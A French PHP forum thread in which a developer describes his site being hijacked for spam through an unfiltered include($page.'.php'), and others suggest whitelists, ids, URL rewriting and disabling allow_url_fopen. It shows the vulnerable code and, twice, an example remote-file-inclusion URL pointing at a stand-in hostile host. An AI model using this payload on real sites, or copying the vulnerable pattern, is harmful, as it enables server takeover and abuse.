[POO] faille php que j'ai fait [Résolu]

[omdafer]

Bonjours à tous,

j'ai trouvé utile de poster cette discution car bon nombre d'entre nous ont fait, fait ou feront cette erreur.

Dans un de mes post http://www.developpez.net/forums/sho...d.php?t=510537 j'ai conseillé à un membre de ce forum d'inclure des pages dans sont index.php par la mêthode GETS.
ex :
Avec URL

monsite/index.php?page=macategorie&valeur1=...

.
Donc mon index.php j'avais :

Code :

include($page.".php");

Un beau jour, j'avais un entretien d'embauche pour webmaster/webdesigner. Content d'un de mes sites, j'ai voulu le montrer. Et là surprise, ils ont vu mon site mais version hacker. L'hebergeur de ce site m'a averti le même jour par ce message

mails sent in week 12 : 40001

. Vous l'avez bien compris, 40001 spam envoyé depuis mon site. de ces c***** qui em***** le monde.

Bref, le problème c’est que php peut inclure n’importe quoi, et même des fichiers distants. Donc si quelqu’un appelle l’URL :

votreSite.com/index.php?page=http://www.siteMechant.com/scriptMechant.txt?

Le “?” final sert à faire tomber le “.php” dans notre include.
Le contenu du fichier “scriptMechant.txt” sera interprété et exécuté localement (sur votre serveur). Donc le pirate peut tout faire, comme lister les fichiers, les modifier ou effacer.

Pour eviter ce genre d'attaque, il faut filtrer ce qui passe dans la variable "$page" dans mon exemple. Il faut faire une liste de fichier à autorisé l'inclure.

Ma methode de 1er secour était de faire :

Code :

1
2
3
4
5
6
7
8
9
10
11
 
$pagevrai="";
//A rajouter à chaque nouveau fichier à inclure
if($page=="monfichier1") $pagevrai=$page;
if($page=="monfichier2") $pagevrai=$page;
...
if($page=="") $pagevrai="intro";
//Si "$page" non vide ou mauvaise  "$page" alors afficher erreur 
if($page!=$pagevrai) $pagevrai="erreur";
 
include ($pagevrai".".php");

cet article http://maconnect.ch/bg/?p=8 propose d'autres solutions et donne des détails sur ce type de faille.

[Tsilefy]

Salut,

il y aquelques règles de base à respecter absolument. L'un d'entre eux : ne jamais faire confiance à ce qui provient de l'extérieur. Y compris les requête Get / Post.
Ensuite, au lieu d'indiquer directement les noms des fichiers à inclure dans la requête, on peut par exemple attribuer un id à chaque page. Au lieu d'avoir :

Code :

index.php?page=mapage

tu auras

Code :

index.php?id=753

Cette correspondance, très simple à réaliser avec une bdd ou même un simple fichier, t'évite 1) d'indiquer au monde entier que tu inclus des pages dans ton script; et 2) de bloquer automatiquement toute inclusion de fichiers distants. Tu peux même filtrer le champ 'id' pour que ça soit un entier uniquement, par ex, et rejeter tout 'id' qui ne soit pas entier.
Tu peux également faire de l'url rewriting, et au lieu d'avoir

Code :

monsite/index.php?page=macategorie&valeur1=7523

tu auras :

Code :

monsite/macategorie/7523.html

Résultat: pour le pirate, tout site sera un site statique, donc sans intérêt pour son script.

[omdafer]

Peux tu m'en dire plus sur l'url rewriting ?

[Tsilefy]

Je pourrais, mais sans doute pas mieux que ça :
http://apache.developpez.com/cours/?...s#urlrewriting

Ces trois cours devraient répondre à toutes tes questions.

[Fladnag]

sans passer par des ID numeriques, que personnellement je n'aime pas du tout pour les raisons suivantes :
* URL qui ne ressemble a rien
* Certains robots de moteurs de recherche n'indexent pas les pages ayant des id numeriques
* Prise de tete pour faire un lien vers la page ("attend... cette page c'est le numero... 5789 ! A moins que ce soit 5788 ?")

on peut tres bien indiquer le nom de la page en respectant quelques regles simples :

* Interdire FORMELLEMENT tout les caracteres sensibles, on peut meme n'autoriser que l'alphanumerique.
Par exemple :

Code :

1
2
3
4
5
$aListeUtilises = array_keys(count_chars($_GET['page'], 1));
$aListeInterdit = explode('@', chunk_split(":/.?&", 1, '@'));
if (count(array_intersect($aListeUtilises, $aListeInterdit)) > 0) {
  die("Non non non, tu ne me pirateras pas ^^");
}

Cela permet deja d'éviter de charger des URL distantes.
A noter que l'on peut aussi modifier la variable de configuration allow_url_fopen pour éviter ca.

* Valider le contenu :

Code :

1
2
3
4
5
6
7
8
9
$aListePagesAutorisees=array(
"index",
"liens",
"contacts",
);
 
if (!in_array($_GET['page'], $aListePagesAutorisees)) {
  die('Non plus !');
}

Enfin, tu as aussi la possibilité d'utiliser la fonction file_exists($_GET['page'].'.php'); pour verifier que ton fichier existe bien dans l'arborescence de ton site avant de l'inclure.

[omdafer]

D'ou l'interêt de la reécriture d'url.
Merci Tsilefy pour l'info, ça fonctionne bien et ça passe nikel pour le sitemap google.

J'ai bien fait de poster ce sujet .

[RideKick]

Sinon , si tu avais déjà pris le soin d'ajouter un préfixe a tes pages du genre :

Code :

include("monSite_".$page.".php");

couplé a un file_exists('') pour vérifier l'existence de la page sinon envoyer une par défaut ,
tu aurais évité l'inclusion d'url distantes , de plus en passant la directive

allow_url_open() a off , on en parlait plus , pas besoin de mettre en place d'URL rewriting !

Mais je dis pas que les solutions proposées au dessus ne sont pas bien , je donne juste ma version simplifiée de la résolution de ton problème !

[omdafer]

Oui même en rajoutant une extension php et un file_exist les intrusions sont possibles.
Le problème c’est que php peut inclure n’importe quoi, et même des fichiers distants.

avec page = http : // www . siteMechant.com/scriptMechant.txt?
Un “?” final sert à faire tomber le “.php”

file_exist quand même mais à distance.

Faut pas oublier qu'une machine peux essayer de scruter des milliers de solutions en quelques minutes.

Chez la plupart des hebergeur on n'as pas acces à la config apache pour renforcer un peu la sécurité. Comme pour le safe_mode etc...

De toute façon l'url rewriting ça a plusieurs avantages et dès que tu as réussie à prendre en main la syntaxe ça va vite à mettre en place.ça m'évite aussi de tout modifier la tonne de code de tny_mce (genre s'éditeur richedit comme celui de ce forum) contenant des failles et qui lui aussi à permis les intrusions.

[ascito]

évidement, pour le montage de page, par bloc, le include n'est pas recommandé pour certaines raisons dont celles abordées.

Le recours aux class, est préférable, et même nécessaires.

l'abandon du include n'est pas totalement affirmé, donc include fonctionne

bop : sans revenir en arrière sur son parcours php, intéresse toi vraiment à la POO

de nouveaux standards, de nouvelles règles de sécurités, voilà le quotidien d'un développeur

bon courage pour la suite

[kaymak]

Hm. C'est bien dommage cela, mais tu as effectivmeent intérets à vérifier toutes les variables entrantes GET et post comme dit plus haut, mais aussi les cookies ! et oui.

Sinon je toruve que tu t'en tires plutôt bien, si tu étais sur un dédié face à script kiddie un peu débrouillard il t'aurait coller un vrai script d'admin et vas savoir ce qu'il aurait pu faire... ROotkit, masquage de processus, ect... La vrai galère quoi.... : (

[Er3van]

de ces c***** qui em***** le monde.

Au final cette personne t'as rendu service :

- Tu es conscient que ton site peut être victime d'une attaque
- Tu ne referas plus la même erreur
- Tu sais d'où elle vient
- Tu sais comment faire autrement
- Tu sais qu'il faut te protéger des GET/POST
- Tu sais comment te protéger

- Il n'a fait aucun "véritable" dégât alors qu'il aurait pu.


Alors oui, certains hacker sont des pourris, mais c'est plus le cas des crackers qui font ça pour les bénéfices, et ce hacker en question t'as à mes yeux rendu service plus que tu ne l'imagines.

[omdafer]

Oui tu as raison.
Et ce tropic, je l'espère rendrant service à + d'un.